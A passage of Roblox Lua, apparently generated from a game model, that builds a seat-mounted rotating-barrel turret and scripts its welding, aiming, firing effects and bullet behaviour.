ParticleEmitter1061.Lifetime = NumberRange.new(0.5, 1)
ParticleEmitter1061.RotSpeed = NumberRange.new(0, 20)
ParticleEmitter1061.SpreadAngle = Vector2.new(20, 20)
ParticleEmitter1061.VelocitySpread = 20
Sound1062.Name = "dend"
Sound1062.Parent = Part1058
Sound1062.SoundId = "rbxassetid://295843191"
Sound1062.Volume = 1
PitchShiftSoundEffect1063.Parent = Sound1062
PitchShiftSoundEffect1063.Octave = 1
Sound1064.Name = "bstart"
Sound1064.Parent = Part1058
Sound1064.Pitch = 2
Sound1064.PlaybackSpeed = 2
Sound1064.SoundId = "rbxassetid://698823472"
Sound1064.Volume = 1
PitchShiftSoundEffect1065.Parent = Sound1064
PitchShiftSoundEffect1065.Octave = 0.5
Part1066.Parent = Model1037
Part1066.CFrame = CFrame.new(219.899994, 4.29485893, -77.1000443, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1066.Orientation = Vector3.new(-90, -90, 0)
Part1066.Position = Vector3.new(219.899994, 4.29485893, -77.1000443)
Part1066.Rotation = Vector3.new(-90, 0, -90)
Part1066.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1066.Size = Vector3.new(1.79999995, 0.199999973, 2)
Part1066.Anchored = true
Part1066.BottomSurface = Enum.SurfaceType.Smooth
Part1066.BrickColor = BrickColor.new("Sand violet metallic")
Part1066.CanCollide = false
Part1066.Material = Enum.Material.Metal
Part1066.TopSurface = Enum.SurfaceType.Weld
Part1066.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1067.Parent = Part1066
Part1068.Parent = Model1037
Part1068.CFrame = CFrame.new(225.625946, 5.29657888, -74.9000092, 0.2588211, 0.965925336, 0, 0.965925336, -0.2588211, 0, 0, 0, -1)
Part1068.Orientation = Vector3.new(0, 180, 105)
Part1068.Position = Vector3.new(225.625946, 5.29657888, -74.9000092)
Part1068.Rotation = Vector3.new(-180, 0, -75)
Part1068.Size = Vector3.new(2.5999999, 0.400000006, 1.79999983)
Part1068.Anchored = true
Part1068.BottomSurface = Enum.SurfaceType.Smooth
Part1068.CanCollide = false
Part1068.Material = Enum.Material.DiamondPlate
Part1068.TopSurface = Enum.SurfaceType.Smooth
Part1069.Parent = Model1037
Part1069.CFrame = CFrame.new(222.300034, 6.29998302, -77.1000443, -1, 0, 0, 0, 0.965925097, -0.258822024, 0, -0.258822024, -0.965925097)
Part1069.Orientation = Vector3.new(15, 180, 0)
Part1069.Position = Vector3.new(222.300034, 6.29998302, -77.1000443)
Part1069.Rotation = Vector3.new(165, 0, -180)
Part1069.Color = Color3.new(0.458824, 0.458824, 0.458824)
Part1069.Size = Vector3.new(1.39999986, 0.600000024, 0.600000024)
Part1069.Anchored = true
Part1069.BottomSurface = Enum.SurfaceType.Smooth
Part1069.BrickColor = BrickColor.new("Dark grey")
Part1069.CanCollide = false
Part1069.Material = Enum.Material.Metal
Part1069.TopSurface = Enum.SurfaceType.Smooth
Part1069.brickColor = BrickColor.new("Dark grey")
Part1070.Parent = Model1037
Part1070.CFrame = CFrame.new(223.100021, 4.64997721, -75.5500336, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1070.Orientation = Vector3.new(-90, -90, 0)
Part1070.Position = Vector3.new(223.100021, 4.64997721, -75.5500336)
Part1070.Rotation = Vector3.new(-90, 0, -90)
Part1070.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1070.Size = Vector3.new(1.79999995, 0.799999952, 2.20000005)
Part1070.Anchored = true
Part1070.BottomSurface = Enum.SurfaceType.Weld
Part1070.BrickColor = BrickColor.new("Sand violet metallic")
Part1070.CanCollide = false
Part1070.Material = Enum.Material.Metal
Part1070.TopSurface = Enum.SurfaceType.Smooth
Part1070.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1071.Parent = Part1070
Part1072.Parent = Model1037
Part1072.CFrame = CFrame.new(222.207199, 5.69998121, -73.9499817, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1072.Orientation = Vector3.new(0, 180, 0)
Part1072.Position = Vector3.new(222.207199, 5.69998121, -73.9499817)
Part1072.Rotation = Vector3.new(-180, 0, -180)
Part1072.Color = Color3.new(0.458824, 0.458824, 0.458824)
Part1072.Size = Vector3.new(1.20000005, 0.200000033, 0.5)
Part1072.Anchored = true
Part1072.BottomSurface = Enum.SurfaceType.Smooth
Part1072.BrickColor = BrickColor.new("Dark grey")
Part1072.CanCollide = false
Part1072.Material = Enum.Material.Metal
Part1072.TopSurface = Enum.SurfaceType.Smooth
Part1072.brickColor = BrickColor.new("Dark grey")
Part1073.Parent = Model1037
Part1073.CFrame = CFrame.new(225.900085, 4.59998417, -74.8000031, -0.965926349, 0.258817077, 0, 0.258817077, 0.965926349, 0, 0, 0, -1)
Part1073.Orientation = Vector3.new(0, 180, 15)
Part1073.Position = Vector3.new(225.900085, 4.59998417, -74.8000031)
Part1073.Rotation = Vector3.new(-180, 0, -165)
Part1073.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1073.Size = Vector3.new(0.600000024, 1.20000005, 2.00000024)
Part1073.Anchored = true
Part1073.BottomSurface = Enum.SurfaceType.Smooth
Part1073.BrickColor = BrickColor.new("Sand violet metallic")
Part1073.CanCollide = false
Part1073.Material = Enum.Material.Metal
Part1073.TopSurface = Enum.SurfaceType.Smooth
Part1073.brickColor = BrickColor.new("Sand violet metallic")
Part1074.Parent = Model1037
Part1074.CFrame = CFrame.new(224.200043, 3.99999499, -74.2000122, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1074.Orientation = Vector3.new(0, 180, 0)
Part1074.Position = Vector3.new(224.200043, 3.99999499, -74.2000122)
Part1074.Rotation = Vector3.new(-180, 0, -180)
Part1074.Size = Vector3.new(2.39999986, 0.400000006, 1.20000005)
Part1074.Anchored = true
Part1074.BottomSurface = Enum.SurfaceType.Smooth
Part1074.CanCollide = false
Part1074.Material = Enum.Material.DiamondPlate
Part1074.TopSurface = Enum.SurfaceType.Smooth
Part1075.Parent = Model1037
Part1075.CFrame = CFrame.new(224.200043, 4.39998722, -74.9000092, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1075.Orientation = Vector3.new(0, 180, 0)
Part1075.Position = Vector3.new(224.200043, 4.39998722, -74.9000092)
Part1075.Rotation = Vector3.new(-180, 0, -180)
Part1075.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part1075.Size = Vector3.new(1.99999976, 0.400000006, 2.19999981)
Part1075.Anchored = true
Part1075.BottomSurface = Enum.SurfaceType.Smooth
Part1075.BrickColor = BrickColor.new("Black")
Part1075.CanCollide = false
Part1075.TopSurface = Enum.SurfaceType.Smooth
Part1075.brickColor = BrickColor.new("Black")
Part1076.Parent = Model1037
Part1076.CFrame = CFrame.new(224.200043, 3.99999499, -75.1000214, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1076.Orientation = Vector3.new(0, 180, 0)
Part1076.Position = Vector3.new(224.200043, 3.99999499, -75.1000214)
Part1076.Rotation = Vector3.new(-180, 0, -180)
Part1076.Size = Vector3.new(2.39999986, 0.400000006, 1.39999986)
Part1076.Anchored = true
Part1076.BottomSurface = Enum.SurfaceType.Smooth
Part1076.CanCollide = false
Part1076.Material = Enum.Material.DiamondPlate
Part1076.TopSurface = Enum.SurfaceType.Smooth
Part1077.Parent = Model1037
Part1077.CFrame = CFrame.new(222.000015, 6.39485693, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1077.Orientation = Vector3.new(-90, -90, 0)
Part1077.Position = Vector3.new(222.000015, 6.39485693, -76.5000305)
Part1077.Rotation = Vector3.new(-90, 0, -90)
Part1077.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1077.Size = Vector3.new(1.80000007, 1.60000002, 1.39999986)
Part1077.Anchored = true
Part1077.BottomSurface = Enum.SurfaceType.Smooth
Part1077.BrickColor = BrickColor.new("Sand violet metallic")
Part1077.CanCollide = false
Part1077.Material = Enum.Material.Metal
Part1077.TopSurface = Enum.SurfaceType.Weld
Part1077.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1078.Parent = Part1077
Part1079.Parent = Model1037
Part1079.CFrame = CFrame.new(221.700043, 5.49998522, -74.2000122, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part1079.Orientation = Vector3.new(-90, -180, 0)
Part1079.Position = Vector3.new(221.700043, 5.49998522, -74.2000122)
Part1079.Rotation = Vector3.new(-90, 0, -180)
Part1079.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1079.Size = Vector3.new(1.79999995, 0.799999952, 2.20000005)
Part1079.Anchored = true
Part1079.BottomSurface = Enum.SurfaceType.Weld
Part1079.BrickColor = BrickColor.new("Sand violet metallic")
Part1079.CanCollide = false
Part1079.Material = Enum.Material.Metal
Part1079.TopSurface = Enum.SurfaceType.Smooth
Part1079.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1080.Parent = Part1079
Part1081.Parent = Model1037
Part1081.CFrame = CFrame.new(218.899994, 4.89998722, -75.5000153, 0, 1, 0, 0, 0, 1, 1, 0, 0)
Part1081.Orientation = Vector3.new(-90, -90, 0)
Part1081.Position = Vector3.new(218.899994, 4.89998722, -75.5000153)
Part1081.Rotation = Vector3.new(-90, 0, -90)
Part1081.Color = Color3.new(0.458824, 0.458824, 0.458824)
Part1081.Size = Vector3.new(1.79999995, 1.39999795, 1.80000019)
Part1081.Anchored = true
Part1081.BottomSurface = Enum.SurfaceType.Smooth
Part1081.BrickColor = BrickColor.new("Dark grey")
Part1081.CanCollide = false
Part1081.Material = Enum.Material.Metal
Part1081.TopSurface = Enum.SurfaceType.Weld
Part1081.brickColor = BrickColor.new("Dark grey")
CylinderMesh1082.Parent = Part1081
Weld1083.Parent = Part1081
Weld1083.C0 = CFrame.new(0, 0.699998975, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Weld1083.C1 = CFrame.new(1.70002174, 2.86102295e-06, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
Weld1083.Part0 = Part1081
Weld1083.Part1 = Part1092
Weld1083.part1 = Part1092
Part1084.Parent = Model1037
Part1084.CFrame = CFrame.new(218.999985, 4.89998388, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1084.Orientation = Vector3.new(0, 180, 0)
Part1084.Position = Vector3.new(218.999985, 4.89998388, -75.5000153)
Part1084.Rotation = Vector3.new(-180, 0, -180)
Part1084.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1084.Size = Vector3.new(1.20000005, 1, 2.60000038)
Part1084.Anchored = true
Part1084.BottomSurface = Enum.SurfaceType.Smooth
Part1084.BrickColor = BrickColor.new("Sand violet metallic")
Part1084.CanCollide = false
Part1084.Material = Enum.Material.Metal
Part1084.TopSurface = Enum.SurfaceType.Smooth
Part1084.brickColor = BrickColor.new("Sand violet metallic")
Part1085.Parent = Model1037
Part1085.CFrame = CFrame.new(221.700043, 4.0999918, -77.3000336, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part1085.Orientation = Vector3.new(-90, -180, 0)
Part1085.Position = Vector3.new(221.700043, 4.0999918, -77.3000336)
Part1085.Rotation = Vector3.new(-90, 0, -180)
Part1085.Size = Vector3.new(1.39999998, 1.80000007, 1.39999998)
Part1085.Anchored = true
Part1085.BottomSurface = Enum.SurfaceType.Weld
Part1085.CanCollide = false
Part1085.Material = Enum.Material.Metal
Part1085.TopSurface = Enum.SurfaceType.Smooth
CylinderMesh1086.Parent = Part1085
Part1087.Parent = Model1037
Part1087.CFrame = CFrame.new(221.007187, 5.09998417, -74.1000061, -0.866027832, -0.499995857, 0, -0.499995887, 0.866027832, 0, 0, 0, -1)
Part1087.Orientation = Vector3.new(0, 180, -30)
Part1087.Position = Vector3.new(221.007187, 5.09998417, -74.1000061)
Part1087.Rotation = Vector3.new(-180, 0, 150)
Part1087.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1087.Size = Vector3.new(2.80000043, 1, 0.400000036)
Part1087.Anchored = true
Part1087.BottomSurface = Enum.SurfaceType.Smooth
Part1087.BrickColor = BrickColor.new("Sand violet metallic")
Part1087.CanCollide = false
Part1087.Material = Enum.Material.Metal
Part1087.TopSurface = Enum.SurfaceType.Smooth
Part1087.brickColor = BrickColor.new("Sand violet metallic")
Part1088.Parent = Model1037
Part1088.CFrame = CFrame.new(221.700043, 5.49998522, -74.2999878, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part1088.Orientation = Vector3.new(-90, -180, 0)
Part1088.Position = Vector3.new(221.700043, 5.49998522, -74.2999878)
Part1088.Rotation = Vector3.new(-90, 0, -180)
Part1088.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1088.Size = Vector3.new(2.20000005, 0.599999964, 2.60000014)
Part1088.Anchored = true
Part1088.BottomSurface = Enum.SurfaceType.Weld
Part1088.BrickColor = BrickColor.new("Sand violet metallic")
Part1088.CanCollide = false
Part1088.Material = Enum.Material.Metal
Part1088.TopSurface = Enum.SurfaceType.Smooth
Part1088.brickColor = BrickColor.new("Sand violet metallic")
CylinderMesh1089.Parent = Part1088
Part1090.Parent = Model1037
Part1090.CFrame = CFrame.new(221.700043, 4.0999918, -73.6999817, -1, 0, 0, 0, 0, 1, 0, 1, -0)
Part1090.Orientation = Vector3.new(-90, -180, 0)
Part1090.Position = Vector3.new(221.700043, 4.0999918, -73.6999817)
Part1090.Rotation = Vector3.new(-90, 0, -180)
Part1090.Size = Vector3.new(1.39999998, 1.80000007, 1.39999998)
Part1090.Anchored = true
Part1090.BottomSurface = Enum.SurfaceType.Weld
Part1090.CanCollide = false
Part1090.Material = Enum.Material.Metal
Part1090.TopSurface = Enum.SurfaceType.Smooth
CylinderMesh1091.Parent = Part1090
Part1092.Parent = Model1037
Part1092.CFrame = CFrame.new(221.300018, 4.89998388, -75.5000153, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1092.Orientation = Vector3.new(0, 180, 0)
Part1092.Position = Vector3.new(221.300018, 4.89998388, -75.5000153)
Part1092.Rotation = Vector3.new(-180, 0, -180)
Part1092.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1092.Size = Vector3.new(3.40000081, 1.80000019, 2.60000038)
Part1092.Anchored = true
Part1092.BottomSurface = Enum.SurfaceType.Smooth
Part1092.BrickColor = BrickColor.new("Sand violet metallic")
Part1092.CanCollide = false
Part1092.Material = Enum.Material.Metal
Part1092.TopSurface = Enum.SurfaceType.Smooth
Part1092.brickColor = BrickColor.new("Sand violet metallic")
Part1093.Parent = Model1037
Part1093.CFrame = CFrame.new(224.600067, 4.59998417, -76.1000443, -1, 0, 0, 0, 1, 0, 0, 0, -1)
Part1093.Orientation = Vector3.new(0, 180, 0)
Part1093.Position = Vector3.new(224.600067, 4.59998417, -76.1000443)
Part1093.Rotation = Vector3.new(-180, 0, -180)
Part1093.Color = Color3.new(0.580392, 0.580392, 0.580392)
Part1093.Size = Vector3.new(3.20000029, 1.20000005, 0.600000024)
Part1093.Anchored = true
Part1093.BottomSurface = Enum.SurfaceType.Smooth
Part1093.BrickColor = BrickColor.new("Sand violet metallic")
Part1093.CanCollide = false
Part1093.Material = Enum.Material.Metal
Part1093.TopSurface = Enum.SurfaceType.Smooth
Part1093.brickColor = BrickColor.new("Sand violet metallic")
Part1094.Name = "base"
Part1094.Parent = Model1037
Part1094.CFrame = CFrame.new(220.700012, 4.0999918, -75.5000153, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Part1094.Orientation = Vector3.new(0, 90, 0)
Part1094.Position = Vector3.new(220.700012, 4.0999918, -75.5000153)
Part1094.Rotation = Vector3.new(0, 90, 0)
Part1094.Transparency = 1
Part1094.Size = Vector3.new(1.39999998, 1.80000377, 1.39999998)
Part1094.Anchored = true
Part1094.BottomSurface = Enum.SurfaceType.Weld
Part1094.CanCollide = false
Part1094.Material = Enum.Material.Metal
Part1094.TopSurface = Enum.SurfaceType.Smooth
CylinderMesh1095.Parent = Part1094
UnionOperation1096.Parent = Model1037
UnionOperation1096.CFrame = CFrame.new(223.200043, 5.34998322, -76.5000305, 0, 1, 0, 0, 0, 1, 1, 0, 0)
UnionOperation1096.Orientation = Vector3.new(-90, -90, 0)
UnionOperation1096.Position = Vector3.new(223.200043, 5.34998322, -76.5000305)
UnionOperation1096.Rotation = Vector3.new(-90, 0, -90)
UnionOperation1096.Color = Color3.new(0.458824, 0.458824, 0.458824)
UnionOperation1096.Size = Vector3.new(0.600003004, 0.400006056, 2.70000052)
UnionOperation1096.Anchored = true
UnionOperation1096.BrickColor = BrickColor.new("Dark grey")
UnionOperation1096.CanCollide = false
UnionOperation1096.Material = Enum.Material.Metal
UnionOperation1096.brickColor = BrickColor.new("Dark grey")
UnionOperation1096.UsePartColor = true
UnionOperation1097.Name = "AmmoBelt"
UnionOperation1097.Parent = Model1037
UnionOperation1097.CFrame = CFrame.new(222.300018, 5.79998302, -77.1000443, 0, 1, 0, 0, 0, 1, 1, 0, 0)
UnionOperation1097.Orientation = Vector3.new(-90, -90, 0)
UnionOperation1097.Position = Vector3.new(222.300018, 5.79998302, -77.1000443)
UnionOperation1097.Rotation = Vector3.new(-90, 0, -90)
UnionOperation1097.Color = Color3.new(0.937255, 0.721569, 0.219608)
UnionOperation1097.Size = Vector3.new(1.19999421, 1.4000001, 2.00000024)
UnionOperation1097.Anchored = true
UnionOperation1097.BrickColor = BrickColor.new("Gold")
UnionOperation1097.CanCollide = false
UnionOperation1097.Material = Enum.Material.Metal
UnionOperation1097.brickColor = BrickColor.new("Gold")
Seat1098.Parent = Model1037
Seat1098.CFrame = CFrame.new(224.900055, 4.19998789, -74.9000244, 0, 0, 1, 0, 1, -0, -1, 0, 0)
Seat1098.Orientation = Vector3.new(0, 90, 0)
Seat1098.Position = Vector3.new(224.900055, 4.19998789, -74.9000244)
Seat1098.Rotation = Vector3.new(0, 90, 0)
Seat1098.Color = Color3.new(0.105882, 0.164706, 0.207843)
Seat1098.Transparency = 1
Seat1098.Size = Vector3.new(2.20000005, 0.399999976, 1)
Seat1098.BrickColor = BrickColor.new("Black")
Seat1098.CanCollide = false
Seat1098.brickColor = BrickColor.new("Black")
Script1099.Name = "FOREVERWELD"
Script1099.Parent = Seat1098
table.insert(cors,sandbox(Script1099,function()
local weld = Instance.new("Weld")
weld.Part0 = script.Parent
weld.Part1 = script.Parent.Parent["base"]
weld.C0 = script.Parent.CFrame:inverse()
weld.C1 = script.Parent.Parent["base"] .CFrame:inverse()
weld.Parent = script.Parent
local a = script.Parent.Weld:clone()
local co=script.Parent.Weld.C0
local c1 = script.Parent.Weld.C1
local p1 = script.Parent.Weld.Part1
function poo(part)
if part.Name =="Weld" then
local b =a:clone()
b.Parent=script.Parent
b.C0 = co
b.C1 =c1
b.Part1 = p1
end
end
script.Parent.ChildRemoved:connect(poo)
end))
Script1100.Parent = Seat1098
table.insert(cors,sandbox(Script1100,function()
occupier = nil
function powers()
if script.Parent.Occupant~= nil then
local a = script.Parent.Occupant
local b = game.Players:GetPlayerFromCharacter(a.Parent)
if b~= nil then
if a.Parent:findFirstChild("control") == nil then
g=script.control:Clone()
g.Value.Value=script.Parent.Parent.Parent
g.Parent=b.Character
g.Disabled=false
occupier = b
end
end
end
end
script.Parent.Changed:connect(powers)
wait(0.2)
local TARGET_RADIUS = 5
local MAX_SPEED = 1750
local MAX_TORQUE = Vector3.new(4e6, 4e6, 0)
local MAX_THRUST = 1750
local THRUST_P = 500
local THRUST_D = 500
md = false
local running = false
local gun=script.Value.Value
local SPAWN = gun.body:GetPrimaryPartCFrame()
local aimpos = Vector3.new(0,0,0)
local canfire = true
local round = 1
function RAND(Min, Max, Accuracy)
local Inverse = 1 / (Accuracy or 1)
return (math.random(Min * Inverse, Max * Inverse) / Inverse)
end
function fire(mousepos)
local spawnPosition
local part=gun.gun:findFirstChild("gunpart")
spawnPosition = part.Position + (part.CFrame.lookVector * 5)
for i = 1,2 do
local a = Instance.new("Part")
game:GetService("Debris"):AddItem(a,1)
local spread = 10
local antispread = 250
local spreada = Vector3.new(math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread)
a.Size = Vector3.new(0.2,0.2,5)
a.CFrame = CFrame.new(spawnPosition, mousepos)
local direction = ((((mousepos - a.Position))).unit)+spreada
local boi = a.Position + (direction * 100000000)
a.CFrame = CFrame.new(spawnPosition,boi)
a.BrickColor=BrickColor.new("Bright yellow")
a.Material = "Neon"
a.Name = "Bullet"
local b=script.bullet:Clone()
b.Parent=a
b.Value.Value = part
b.Disabled =false
--game:GetService("Debris"):AddItem(a,3)
local rocketPropulsion = Instance.new('RocketPropulsion', a)
rocketPropulsion.CartoonFactor = 1
rocketPropulsion.TargetRadius = TARGET_RADIUS
rocketPropulsion.MaxSpeed = MAX_SPEED
rocketPropulsion.MaxTorque = MAX_TORQUE
rocketPropulsion.MaxThrust = MAX_THRUST
rocketPropulsion.ThrustP = THRUST_P
rocketPropulsion.ThrustD = THRUST_D
rocketPropulsion.TargetOffset = a.Position + (direction * 100000000)
rocketPropulsion:Fire()
a.CanCollide = false
a.Parent=game.Workspace
script.bulletpropaganda:FireClient(occupier,a,spawnPosition)
end
local effecter = gun.gun:findFirstChild("effect")
spawn(function()
for i = 1, 10 do
effecter.ParticleEmitter:Emit(5)
wait()
end
end)
spawn(function()
for i = 1, 20 do
effecter.smoke:Emit(1)
wait(0.1)
end
end)
gun.gun.eject.a.bullets:Emit(2)
end
function barrel()
if round == 1 then
gun.gun.Barrel1.Transparency=0
gun.gun.Barrel2.Transparency=1
gun.gun.Barrel3.Transparency=1
end
if round == 2 then
gun.gun.Barrel1.Transparency=1
gun.gun.Barrel2.Transparency=0
gun.gun.Barrel3.Transparency=1
end
if round == 3 then
gun.gun.Barrel1.Transparency=1
gun.gun.Barrel2.Transparency=1
gun.gun.Barrel3.Transparency=0
end
if round ~=3 then
round = round+1
else
round = 1
end
end
function poo()
gun.gun.effect.bam:Stop()
script:remove()
end
function script.mu.OnServerInvoke(player,mousepos)
if md == false then return end
md = false
gun.gun.effect.bstart:Stop()
spawn(function()
for i = 1, 25 do
if i > 0 and i < 5 then
for i = 1,1 do
wait()
end
end
if i > 4 and i < 10 then
for i = 1,2 do
wait()
end
end
if i > 10 and i < 15 then
for i = 1,3 do
wait()
end
end
if i > 14 and i < 20 then
for i = 1,4 do
wait()
end
end
if i > 19 and i < 26 then
for i = 1,6 do
wait()
end
end
if md == true then break end
barrel()
end
end)
gun.gun.effect.bam:Stop()
gun.gun.effect.dend:Play()
gun.gun.effect.dend.TimePosition=0.1
end
local newpos = Vector3.new(0,0,0)
function script.infostream.OnServerInvoke(player,mousepos)
newpos = mousepos
end
function script.md.OnServerInvoke(player,mousepos)
md = true
gun.gun.effect.bstart:Play()
for i = 1, 10 do
if i > 0 and i < 5 then
for i = 1,2 do
wait()
end
end
if i > 4 and i < 11 then
for i = 1,1 do
wait()
end
end
if md == false then break end
barrel()
end
if md == false then return end
gun.gun.effect.bam:Play()
spawn(function()
repeat
wait()
barrel()
fire(newpos)
until md == false
end)
end
function script.aim.OnServerInvoke(player,mousepos)
aimpos = mousepos
if (aimpos-gun.base.Position).magnitude>3 then
local c = aimpos
local x = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).x
local y = (SPAWN*CFrame.new(0, 0, -100000)).y
local z = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).z
A = Vector3.new(x,
y,
z
)
if c then
gun.gun:SetPrimaryPartCFrame(
CFrame.new(gun.body:GetPrimaryPartCFrame().p,
c)
)
gun.body:SetPrimaryPartCFrame(
CFrame.new(
SPAWN.p,
A
)
)
else
gun:SetPrimaryPartCFrame(gun.body:GetPrimaryPartCFrame())
gun.body:SetPrimaryPartCFrame(
CFrame.new(
SPAWN.p,
A
)
)
end
end
end
end))
LocalScript1101.Name = "control"
LocalScript1101.Parent = Script1100
table.insert(cors,sandbox(LocalScript1101,function()
wait(0.2)
local TARGET_RADIUS = 5
local MAX_SPEED = 1750
local MAX_TORQUE = Vector3.new(4e6, 4e6, 0)
local MAX_THRUST = 1750
local THRUST_P = 500
local THRUST_D = 500
md = false
local mouse = game.Players.LocalPlayer:GetMouse()
mouse.TargetFilter = script.Value.Value
local running = false
local gun=script.Value.Value
local SPAWN = gun.body:GetPrimaryPartCFrame()
local aimpos = Vector3.new(0,0,0)
rs=game:GetService("RunService").RenderStepped
local canfire = true
local round = 1
function RAND(Min, Max, Accuracy)
local Inverse = 1 / (Accuracy or 1)
return (math.random(Min * Inverse, Max * Inverse) / Inverse)
end
function propaganda(boolet,spawnPosition)
boolet.Transparency = 1
local spawnPosition
local part=gun.gun:findFirstChild("gunpart")
spawnPosition = part.Position + (part.CFrame.lookVector * 5)
local a = Instance.new("Part")
game:GetService("Debris"):AddItem(a,1)
local spread = 10
local antispread = 250
local spreada = Vector3.new(math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread,math.random(-spread,spread)/antispread)
a.Size = Vector3.new(0.2,0.2,5)
a.CFrame = CFrame.new(spawnPosition, mouse.hit.p)
local direction = ((((mouse.Hit.p - a.Position))).unit)+spreada
local boi = a.Position + (direction * 100000000)
a.CFrame = CFrame.new(spawnPosition,boi)
a.BrickColor=BrickColor.new("Bright yellow")
a.Material = "Neon"
a.Name = "Bullet"
local b=script.bullet:Clone()
b.Parent=a
b.Value.Value = part
b.Disabled =false
--game:GetService("Debris"):AddItem(a,3)
local rocketPropulsion = Instance.new('RocketPropulsion', a)
rocketPropulsion.CartoonFactor = 1
rocketPropulsion.TargetRadius = TARGET_RADIUS
rocketPropulsion.MaxSpeed = MAX_SPEED
rocketPropulsion.MaxTorque = MAX_TORQUE
rocketPropulsion.MaxThrust = MAX_THRUST
rocketPropulsion.ThrustP = THRUST_P
rocketPropulsion.ThrustD = THRUST_D
rocketPropulsion.TargetOffset = a.Position + (direction * 100000000)
rocketPropulsion:Fire()
a.CanCollide = false
a.Parent=game.Workspace.CurrentCamera
game:GetService("Debris"):AddItem(a,7)
local b=script.bullet:Clone()
b.Parent=a
b.Disabled=false
end
gun.gun.Seat.Script.bulletpropaganda.OnClientEvent:connect(propaganda)
function barrel()
if round == 1 then
gun.gun.Barrel1.Transparency=0
gun.gun.Barrel2.Transparency=1
gun.gun.Barrel3.Transparency=1
end
if round == 2 then
gun.gun.Barrel1.Transparency=1
gun.gun.Barrel2.Transparency=0
gun.gun.Barrel3.Transparency=1
end
if round == 3 then
gun.gun.Barrel1.Transparency=1
gun.gun.Barrel2.Transparency=1
gun.gun.Barrel3.Transparency=0
end
if round ~=3 then
round = round+1
else
round = 1
end
end
function poo()
gun.gun.Seat.Script.mu:InvokeServer(mouse.hit.p)
mouse.TargetFilter = nil
mouse.Icon=oldIcon
script:remove()
end
local rn = game:GetService("RunService").RenderStepped
md = false
function no()
md = false
gun.gun.Seat.Script.mu:InvokeServer(mouse.hit.p)
end
function mousedown()
md = true
gun.gun.Seat.Script.md:InvokeServer(mouse.hit.p)
repeat
rs:wait()
gun.gun.Seat.Script.infostream:InvokeServer(mouse.hit.p)
until md == false
end
oldIcon = mouse.Icon
mouse.Icon="http://www.roblox.com/asset/?id=138865017"
person = game.Players.LocalPlayer.Character
person.Humanoid.Jumping:connect(poo)
mouse.Button1Down:connect(mousedown) -- Run function
mouse.Button1Up:connect(no)
spawn(function() -- this is for the server
while true do
gun.gun.Seat.Script.aim:InvokeServer(mouse.Hit.p)
wait(0.1)
end
end)
while rs:Wait() do
aimpos = mouse.Hit.p
if (aimpos-gun.base.Position).magnitude>3 then
local c = aimpos
local x = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).x
local y = (SPAWN*CFrame.new(0, 0, -100000)).y
local z = (gun.gun:GetPrimaryPartCFrame()*CFrame.new(0, 0, -100000)).z
A = Vector3.new(x,
y,
z
)
if c then
gun.gun:SetPrimaryPartCFrame(
CFrame.new(gun.body:GetPrimaryPartCFrame().p,
c)
)
gun.body:SetPrimaryPartCFrame(
CFrame.new(
SPAWN.p,
A
)
)
else
gun:SetPrimaryPartCFrame(gun.body:GetPrimaryPartCFrame())
gun.body:SetPrimaryPartCFrame(
CFrame.new(
SPAWN.p,
A
)
)
end
end
end
end))
LocalScript1101.Disabled = true
ObjectValue1102.Parent = LocalScript1101
Script1103.Name = "bullet"
Script1103.Parent = LocalScript1101
table.insert(cors,sandbox(Script1103,function()
touched = false
local ignore = {}
function hit(hit)
if hit.Name == "debrispart" or hit.Name == "Bullet" then return end
if touched == false then
touched = true
local ray = Ray.new(script.Value.Value.Position, (script.Parent.Position - script.Value.Value.Position).unit * 500)
local boi=game.Workspace:GetChildren()
for i = 1,#boi do
if boi[i].Name == "Bullet" then
table.insert(ignore,boi[i])
end
end
local parto, positiono = workspace:FindPartOnRayWithIgnoreList(ray,ignore, false, true)
local part = hit
if part.Anchored == false then
game:GetService("Debris"):AddItem(script.Parent,0.1)--penetration
end
end
end
script.Parent.Touched:connect(hit)
end))
Script1103.Disabled = true
ObjectValue1104.Parent = Script1103
ParticleEmitter1105.Name = "debris"
ParticleEmitter1105.Parent = Script1103
ParticleEmitter1105.Speed = NumberRange.new(0, 120)
ParticleEmitter1105.Rotation = NumberRange.new(-180, 180)
ParticleEmitter1105.Enabled = false
ParticleEmitter1105.LightInfluence = 1
ParticleEmitter1105.Texture = "rbxassetid://241685484"
ParticleEmitter1105.Transparency = NumberSequence.new(0,0,1)
ParticleEmitter1105.Size = NumberSequence.new(0.34999999403954,0.34999999403954)
ParticleEmitter1105.Acceleration = Vector3.new(0, -320, 0)
ParticleEmitter1105.Lifetime = NumberRange.new(0.20000000298023, 1)
ParticleEmitter1105.Rate = 100
